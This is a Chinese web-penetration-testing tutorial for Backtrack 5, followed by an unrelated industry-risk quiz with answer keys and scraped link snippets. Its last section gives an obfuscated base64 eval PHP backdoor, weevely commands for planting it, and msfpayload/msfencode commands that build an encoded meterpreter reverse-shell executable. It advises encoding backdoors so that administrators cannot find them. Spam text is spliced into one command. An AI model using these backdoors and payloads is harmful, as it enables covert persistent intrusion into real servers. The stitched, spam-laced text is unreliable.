使用Backtrack5进行渗透测试和风险评估

时间:2024.4.20

  Web应用程序的分析在渗透测试和漏洞评估中发挥了重要的作用.确定Web应用程序的正确信息(例如使用的插件,CMS类型等)都可以帮助测试者使用准确的漏洞来测试,能够降低整个渗透测试漏洞评估所花费的时间.

  Backtrack 5包含很多渗透测试信息收集所需要的工具.主要有以下几个方面:

  CMS Identification(CMS指纹鉴定)

  IDS/IPS Detection(IDS/IPS的检测)

  Open Source Analysis(开源分析)

  Web Crawlers(网络爬虫)

  Vulnerability Assessment and Exploitation(脆弱性评估和开发)

  Maintaining Access(维护访问)

  1)CMS Identification(CMS指纹鉴定):

  blindelephant

  cms-explorer

  whatweb

  BlindElephant

  BlindElephant是一款基于python的Web应用程序指纹识别工具.这款工具通过扫描某些已知位置的静态文件所使用的版本信息和hashes文件进行比对.Hashes文件中已经提前计算了相关Web应用程序的版本信息.

  这款工具的优势是快速,非侵入性,低带宽和高度自动化

  使用方法:

  root@root:/pentest/web/blindelephant/src/blindelephant#python BlindElephant.py [options] url appName

  不知道Web应用程序或者插件的类型,我们可以用猜测的方法.例如;

  root@root:/pentest/web/blindelephant/src/blindelephant#python BlindElephant.py http://www.2cto.com wordpress

  CMS-Explorer

  CMS-Explorer是另外一款Web应用程序指纹识别工具,是用perl脚本编写的.它可以确定使用的CMS类型,然后根据已知的漏洞资料进行攻击.这款工具有几个优势,可以从OSVDB(Open Source Vulnerability Database)中调用漏洞信息检查任何特定插件或者CMS是否存在漏洞.

  使用方法:

  root@root:/pentest/web/cms-explorer# perl cms-explorer.pl -url target -type type [options]

  WhatWeb

  WhatWeb可以用来确定服务器使用的CMS、博客平台、统计分析软件包、JavaScript库等.这个工具有超过900个插件用来扫描目标.

  使用方法:

  root@root:/pentest/web/whatweb# ./whatweb nxadmin.com

  列出所有的插件用如下命令:

  root@root:/pentest/web/whatweb# ./whatweb -l

  2)IDS/IPS detection(IDS/IPS探测):

  在域环境下进行风险评估和渗透测试的时候,有可能会遇到有安装IDS/IPS的情况.IDS/IPS有些时候能组织针对域环境的攻击.WAF(Web入侵防御系统)能很好的缓解入侵攻击.

  但是WAF是很容易能够检测到的,因为很多使用了基于签名的检测方法,因此攻击者可以通过对攻击参数进行编码来绕过WAF.Backtrack有两款检测IDS/IPS的工具:

  waffit

  ua-tester

  Waffit

  Waffit是一款Web应用防火墙检测工具,检测防火墙保护的站点是在渗透测试中非常重要的一步.如果没有对WAF进行配置,有时候可能存在漏洞.在渗透测试和风险评估中分析WAF也是非常重要的.通过编码攻击参数,可以绕过WAF.

  使用方法:

  root@root:~$python wafw00f.pyh澳门银河http://amyhjd.com

  3)Open-Source Analyses(开源代码分析):

  Open-Source Analyses(开放源码分析)可以使用GHDB,revhosts,xssed,maltego.GHDB和XSSed需要进入网站,其它的两款是工具.

  GHDB

  GHDB(Google Hacking Database)的exploit-db的团队收集了大量漏洞信息库来方便渗透测试人员.我们可以用服务器类型等信息来寻找相关的漏洞.

  例如: "Microsoft-IIS/6.0 intitle:index.of"可以用来搜索运行微软iis6.0的服务器.

  XSSED

  XSSED是另外一个包含大量具有跨站漏洞网站名单的网站,由不同的作者提交.渗透测试人员可以在XSSED的数据库中搜索他们的目标网站,有助于渗透测试和风险评估.

  Revhosts

  Revhosts是一个被动的信息收集项目,是由python编写的,同样的可以帮助渗透测试人员收集主机,虚拟主机,DNS条目,目录,电子邮件地址,子网等信息.

  4)Web Crawlers(网站抓取):

  Backtrack 5中有一款Web应用程序分析的网络爬虫工具webshag,它是基于GUI和控制台的程序.可以用来扫描http和https的web服务器,通过代理使用http认证.

  webshag有端口扫描,信息收集,爬虫,模糊查询等.

  下载地址:http://www.scrt.ch/en/attack/downloads/webshag

  5)Vulnerability Assessment and exploitation(风险评估和利用)

  风险评估是针对我们扫描到的任何漏洞和BUG进行评估,做风险评估之前收集到有关的目标信息是非常有帮助的.信息收集阶段是进一步攻击之前的关键一步,使用工具会让这项工作比较容易.例如在第一阶段,使用BlindElepha进行CMS的扫描,发现已经安装的应用程序版本是Joomla.在风险评估阶段就可以使用像joomscan来扫描特定的漏洞.

  使用方法:

  ./joomscan.pl –u www.2cto.com or IP address

  joomscan可以扫描到安装的所有插件和相关的漏洞信息,利用这些信息我们可以进一步进行攻击.

  sqlmap

  sqlmap是一款很不错的进行风险评估的工具.这款工具可以测试目标URL是否存在脆弱性漏洞.下面这个例子中红色框中的参数"Newid"是具有脆弱性漏洞的.使用方法如下:

  ./sqlmap.py –u nxadmin.com -f

  Fimap

  Fimap是一款基于python的工具,可以用来发现,代码审计,漏洞利用等.

  使用方法:

  fimap -u http://www.example.com/index.php?inc=index.php

  -u 定义目标URL

  扫描一个文本中的所有URL列表,命令如下:

  fimap -m -l '/tmp/urlscan.txt'

  -m 批量扫描

  -l 列表

  使用google批量搜索来扫描

  fimap.py -g -q 'inurl:include.php'

  -g 从Google搜索

  -q 表示后面跟的是谷歌搜索的查询条件

  fimap可以利用目标漏洞,同时也可以上传交互式的shell.

  Xsser

  Xsser是一款自动的XSS漏洞检测和利用报告的框架.它配备了绕过过滤器和其它注射方式的选项.

  使用方法:

  ./XSSer.py -u "http://www.2cto.com" -g "Search.php?tfSearch="–referer"666.666.666.666" –user-agent"correctaudit"

  这款工具提供了攻击的URL,浏览器和攻击方法等信息,一旦具有漏洞URL被检测完成,我们可以打开网站,检查确认.

  theHarvestor

  theHarvestor工具用于收集用户的姓名,他们的电子邮件账户,主机名等信息,这款工具有助于渗透测试人员在渗透测试和风险评估的初始阶段使用.

  使用方法:

  ./theHaervester.py –ld [target domain] –d [ data source]

  正在提取域和电子邮件相关的网站信息,可以帮助对有关目标的进一步攻击或研究.

  Shodan

  这是另外一款非常不错的评估工具,可以用来收集目标范围内的信息,比如链接在互联网上的设备,可以搜索任何网络设备,如路由器,网络电话,打印机,摄像等.要搜索在域上运行的任何服务,语法如下:

  Hostname:target.com port:80,21,22

  或者干脆有关主机名的结果,如:

  Hostname:target.com

  W3AF

  W3af是web代码审计和应用程序渗透测试工具。它分很多个模块,如攻击,审计,开发,暴力破解.所以这些都是可以针对性的使用,例如我们可以选择审计模块的sqli选项,假设我们需要执行审计类的特殊任务.

  下图显示了一个目标网站的简要流程图,使得我们更容易理解.

  

  一旦扫描完成,W3AF框架显示有关目标网站的漏洞信息,可以为进一步开发针对性的漏洞利用工具提供帮助.

  一旦发现漏洞,我们可以配置插件中的"Exploit"标签,并进行进一步的攻击,它可以帮助我们得到一个目标网站的webshell.另外一个优点是w3af也是Metasploit下的一款工具,扫描的结果可以导出为HTML的格式.

  6)Maintaining Access(维持访问):

  我们获取一个目标网站的权限之后,为了方便将来访问,我们需要保留一个后门,后门加密编码非常的重要,主要是为了防止被管理员轻易的检测清除掉.

  Backtrack 5中上传webshell的经典工具有以下几款:

  weevely

  Weevely是一款隐蔽的PHP后门.它提供一个类似telnet的链接,链接之后可以执行系统的一些命令.使用动态探测系统绕过PHP的安全性限制.Weevely探测system(), passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(), python_eval()这些函数,使用在远程服务器上启用的函数功能.下面的代码是使用weevely创建一个后门的示例代码:

  eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwk YSk7IGlmKHJlc2V0KCRhKT09J2luJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGZv c2VjPic7ZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCIgIiwgIisiLCBqb2luK GFycmF5X3NsaWNlKCRhLGNvdW50KCRhKS0zKSkpKSk7ZWNobyAnPC9mb3NlYz4nO30='));

  使用方法:

  创建一个后门

  Weevely.py –g –o filename –p password

  这样将创建一个具有特定名称和密码保护的后门,上传到目标服务器使用如下命令;

  Weevely.py -t -u http:// www.2 cto.com /backdoor.php -p infosec

  MsfPayload

  Metasploit工具可以用来创建后门,能够维持我们对目标服务器的访问.需要使用到msfpayload这款工具.

  我们需要选择有效载荷,将通过反向链接生成一个shell,命令如下:

  msf > msfpayload windows/meterpreter/reverse_tcp -R来给输出文件RAW数据格式.

  Msf > msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R

  Msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 R| msfencode –e x86/shikata_ga_nai –t exe >> infosec.exe

  -e可以用来指定需要的编码类型,这本例中使用的shikata_ga_nai编码,-t指定输出文件扩展名类型,本例中为.exe。

  总结,以上只不过是几种Web应用程序漏洞利用发现的方法,一旦我们获取有关的信息,我们可以针对Web应用程序进行风险评估,来获得相关的漏洞信息,利用这些漏洞有必要的话可以上传后门.正如文章提到的,最好是经过加密编码的后门,防止被检测到.希望本文有助于你渗透测试,以及后门权限的保持.


第二篇:行业风险评估课后测试


课后测试

如果您对课程内容还没有完全掌握,可以点击这里再次观看。

测试成绩:100.0分。 恭喜您顺利通过考试!

单选题

1. 下列不属于可能导致行业整体信用水平发生变化的因素是: √ A 宏观经济

B 微观经济

C 市场环境

D 产业政策

正确答案: B

2. 迈克尔·波特在《竞争策略》一书中提出了“五力分析结构”,其中不包括: √A 企业管理者

B 供货商

C 产业竞争者

D 新加入者

正确答案: A

3. “SWOT”是将企业内外部条件进行综合概述的方法,所代表分析的内容不包括:A 行业优劣势

B 行业前景

C 行业机会

D 行业威胁 √

正确答案: B

4. 下列不属于行业环境风险涉及内容的是: √ A 经济周期分析

B 产业政策

C 企业内部冲击

D 财政政策和货币政策国家

正确答案: C

5. 下列不属于经济周期分析内容的是: √

A 判断宏观周期所处的阶段

B 判断行业自身的周期性

C 判断行业的垄断程度

D 判断行业的景气度

正确答案: C

6. 关于处于成熟期的行业,年销售增长率和发展情况,表述错误的是:

A 年销售增长率在0%—20%之间

B 面临市场萎缩,行业系统风险较高

C 产品和服务都比较标准化,企业经营比较规范 D 市场状况较好,行业的系统风险相对较小

正确答案: B

7. 在下列行业中,发展势头猛但潜在风险较大的是: √ A 钢铁行业

B 电力行业 √

C 原油开采加工行业

D 煤炭行业

正确答案: A

8. 下列不属于行业信贷质量评价内容的是: √ A 行业信贷规模

B 行业信贷结构

C 行业信贷资产分类

D 行业信贷信用

正确答案: D

9. 下列不属于盈利能力分析内容的是: √ A 流动资金周转率

B 净资产收益率

C 总资产报酬率

D 销售利润率

正确答案: A

10. 以下不属于行业信息搜集的基本要求是: √ A 有效性

B 完整性

C 随机性

D 及时性

正确答案: C

11. 关于行业协会信息所包含的内容,表述错误的是: √

A 掌握本行工业资料

B 了解目标行业和企业

C 得到有关产业发展方向

D 清晰企业数量和规模

正确答案: B

判断题

12. 揭示各行业的发展规律是信贷业务最基本、最常见、最重要的工作。此种说法: √

正确

错误

正确答案: 正确

13. 在“五种分析力”中,替代品给公司的产品或服务提供的是更高的利润和价值。此种说法: √ 正确

错误

正确答案: 错误

14. 判断宏观周期所处的阶段时,考察的主要变量包括GDP增长率、固定资产投资增长率、物价指数等。此种说法: √

正确

错误

正确答案: 正确

15. 行业信贷质量低于各行业平均值时,相对不良资产比率小于100%。此种说法: √

正确

错误

正确答案: 错误

更多相关推荐:
风险评估报告范本

附风险评估报告范本企业环境风险评估报告XX钢铁五金有限公司一基本情况12二企业基本情况34567三现场管理核查表8910四风险等级经综合测评该企业的环境风险等级为二级一般注环境风险等级分为五级一级低二级一般三级...

风险评估报告文本格式

附件二重大决策项目社会稳定风险评估报告通用文本格式单位名称时间一重大决策基本情况包括重大决策名称重大决策类别指重大政策重大改革重大项目重大活动和其他重大事项主管部门承办单位等重大决策背景重大决策基本情况和主要内...

项目风险评估报告范文

项目风险评估报告本文档的范围和目的本文主要针对软件开发涉及到的风险包括在软件开发周期过程中可能出现的风险以及软件实施过程中外部环境的变化可能引起的风险等进行评估在文中对所提到的风险都一一做了详细的分析并提出了相...

安全风险评估报告的范文

安全风险分析报告产品名称注册标准上的名称风险评价人员及背景项目组长医学角度的大夫技术角度的设计人员应用角度的市场角度的并提供人员资格证明如受过的培训资格职称等级编制日期批准日期1编制依据11相关标准1YY031...

风险评估报告

安徽省阜阳市颍州区鼓楼街道前进社区综合灾害风险评估分析报告按照20xx年全国创建防灾减灾示范社区标准的具体要求根据社区综合灾害风险隐患排查和评估程序对社区综合灾害风险进行了风险评估现将评估情况总结如下一基本情况...

20xx风险评估报告范文

20xx风险评估报告范文第1篇学院廉政风险评估报告范文我院按照上级部门的统一部署结合我院实际工作突出我院新校园建设重点采取自己找群众帮领导点和民主测评等方式从思想道德制度机制岗位职责业务操作人际交往等五个方面自...

社会稳定风险评估报告范文之一

关于整治县城区交通秩序规范城市交通管理的社会稳定风险评估报告一一XX县社会稳定风险评估案例当前,我县城区机动三轮车(包括电动三轮车、燃油三轮车、残疾人代步三轮车)无限制通行,黑的车辆非法营运,人力三轮车经营到期…

风险评估报告

珲春市靖和街学苑小区棚户区改造房屋征收项目社会稳定风险评估报告根据有关重大事项社会稳定风险评估工作有关规定对有可能在较大范围内对人民群众生产生活造成影响的项目建设必须列入社会稳定风险评估的范围珲春市棚户区房屋征...

风险评估报告

风险评估报告一系统性风险评估1国内外政经形势的评估2行业形势及发展趋势二经营及管理性风险评估1管理团队的评估2产品技术服务及成本质量趋势的评估3公司制度及管理流程的评估4市场风险的评估三财务风险的评估1财务内控...

风险评估报告

反舞弊风险评估报告一可能存在的风险1缺乏良好的控制环境可能导致舞弊发生的频率及数量超出企业承受的范围2举报和信访的受理和调查程序违反党纪国家法律法规的规定可能使企业遭受外部处罚或名誉受损3未能及时客观公正的受理...

重大决策先过社会稳定风险评估

社会稳定风险评估政府每出台一项与人民群众切身利益紧密相关的重大决策社会稳定风险评估是政府科学决策的前置程序不仅为决策的顺利实施提供了强有力的保证更通过多部门分工协作的风险控制工作将维稳工作向积极地创造稳定又推进...

风险评估实施操作规程

风险评估实施操作规程第一章评估计划及评估方案制定阶段第一条为保证风险评估的实施质量降低给评估对象带来的安全风险安全管理员与评估对象相关的系统管理员应用管理员等共同制定每个评估项目的详细计划和评估方案第二条评估计...

风险评估(30篇)